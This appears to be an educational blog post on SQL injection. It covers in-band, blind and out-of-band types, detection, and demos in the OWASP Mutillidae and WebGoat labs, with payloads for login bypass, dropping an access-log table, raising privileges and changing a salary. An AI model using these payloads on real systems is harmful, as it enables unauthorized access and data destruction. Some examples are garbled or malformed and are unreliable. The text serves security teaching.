Uncovering the Threat of SQL Injection: Understanding the Different Types, Exploits, and Effective Defenses

What is SQL! -

SQL Injection (SQLi) is a most common & high impact security vulnerability that allows attackers to execute arbitrary SQL commands within a database query. By exploiting weaknesses in how user input is being handled, attackers can manipulate or retrieve sensitive data, and in some cases, even compromise the entire database.

Type of SQLi -

1. In-band SQL Injection: In-band SQL injection is a type of SQL injection where the attacker receives the result as a direct response using the same communication channel. The two most common types of in-band SQL Injection are Error-based SQLi and Union-based SQLi.

1. Error-Based SQLi: Error-based SQL injection is a sub-type of in-band SQL injection where the result returned to the attacker is a database error string.

   1. Example: https://example.com/index.php?name=123’

   2. Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.

   
   

2. Union Based SQLi: Union-based SQL injection is a sub-type of in-band SQL injection where the attacker uses the UNION SQL clause to receive a result thus eat combines legitimate information with sensitive data.

Example:

SELECT * FROM users WHERE user_id = '-1' UNION SELECT version(),current_user()--'

2. Blind SQL Injection: Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. The two types of Blind SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi.

i. Boolean-based Blind SQL Injection: Boolean-based SQL Injection is an blind SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Example:

SELECT * FROM users WHERE user_id = 1 AND 1=1

SELECT * FROM users WHERE user_id = 1 AND 1=0

ii. Time-based Blind SQL Injection: Time-based SQL Injection is an blind SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Example:

SELECT * FROM users WHERE user_id = 12 AND SLEEP(5)

3. Out-of-band SQL Injection: Out-of-band SQL injection is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control.

Out-of-band SQL injection is only possible if the server that you are using has commands that trigger DNS or HTTP requests. However, that is the case with all popular SQL servers.

Impact of a Successful SQL Injection Attack:

Stolen credentials — Attackers can obtain credentials via SQLi and then take over user’s account and can use their privileges.

Unauthorized access to databases — Attackers can gain access to the sensitive data in database servers.

Data alteration — Attackers can alter or add new data to the accessed database.

Data deletion — Attackers can delete database records or drop entire tables.

How to detect SQL injection vulnerabilities:

You can detect SQL injection manually using a systematic set of tests against every entry point in the application. To do this, you would typically submit:

• The single quote character ' and look for errors or other anomalies.

• Some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses.

• Boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application's responses.

• Payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond.

Demo Exploitation -

1. SQL Injection with INSERT Parameter:

SQL injection in INSERT statements can lead to data corruption or unauthorized data manipulation. By injecting SQL commands through input fields, attackers can insert malicious data or perform unintended operations.

Example Vulnerable Query:

test2','12345',(select version()) --

Malicious Input:

test2','12345',(select version()) --

Demonstration using OWASP Multillidae

input option is designed in using below mentioned query to insert account details into the database-

INSERT INTO accounts (username, password, mysignature) VALUES ('owasp', '12345', 'sign');

After successful creation we got the below message on screen -

“Account created for owasp. 1 rows inserted.”

To determine weather the application/function is vulnerable or not insert the below payload in order to determine the vulnerability -

(test','12345','test') --

Now while registering the another user into the database along with the valid entries we will insert some payload to determine the database version.

black','Passwd',(select version())) -- 

This malicious input into the database which we have sent it to the database through input parameter will display the version of the database.

Same way we can retrieve the other information also using this methodology.

2. SQL Injection with SELECT Parameters:

SQL injection in SELECT statements can lead to unauthorized data access. When user inputs are directly included in a SELECT query without proper sanitization, attackers can manipulate the query to reveal sensitive information.

Example Vulnerable Query:

SELECT * FROM users WHERE username = '{username}' AND password = '{password}';

Malicious Input:

    Username: admin' OR '1'='1
	Password: password

The resulting query becomes:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'password';s

This query bypasses authentication by always evaluating to true, potentially granting unauthorized access.

3. SQL Injection with DELETE Parameter:

SQL injection in DELETE statements can be particularly destructive, allowing attackers to remove critical data from the database.

Example Vulnerable Query:

DELETE FROM users WHERE username = '{username}';

Malicious Input:

Username: admin’ OR ‘1’=’1

The query becomes:

DELETE FROM users WHERE username = 'admin' OR '1'='1';

This command deletes all records from the users table due to the OR ‘1’=’1' condition always being true.

Practice demonstration using Webgoat -

Go to challenge — Compromising Availability

It says you are the top earner in your company. But do you see that? There seems to be a access_log table, where all your actions have been logged to!

Better go and delete it completely before anyone notices.

So further to do the same we will use below mentioned payload to delete the access log/record.

'; drop table access_log;-- -

4. SQL Injection with UPDATE Parameters —

SQL injection in UPDATE statements can modify data inappropriately, potentially altering or corrupting critical information.

Example Vulnerable Query:

UPDATE users SET email = '{email}' WHERE username = '{username}';

Malicious Input:

Username: admin
Email: newemail@example.com’, is_admin = 1; —

The query becomes:

UPDATE users SET email = 'newemail@example.com', is_admin = 1; - ' WHERE username = 'admin';

This command not only updates the email but also grants administrative privileges to the user, altering application behavior and security.

Practice demonstration by OWASP’s Webgoat-

This lab shows that Tobi and Bob both seem to earn more money than you! Of course you cannot leave it at that.

Better go and change your own salary so you are earning the most!

Remember: Your name is John Smith and your current TAN is 3SL99A.

In order to exploit the same, we have to check weather the function is vulnerable or not.

Smith'

It gives an error as described below —

“malformed string: ‘Smith’’ AND auth_tan = ‘’

Input filed is vulnerable to move further we will join the query

Smith' --  

Smith' OR 1=1 -- 

Now as per the task description will try to change the salary and in order to do the same will go with the following query -

Smith' UPDATE employees SET SALARY = 100000 WHERE last_name= 'Smith' --

How to Prevent Injection -

• Using Prepared Statements 

• Using Stored Procedures 

• Using Whitelist for Inputs 

• Not Using User Inputs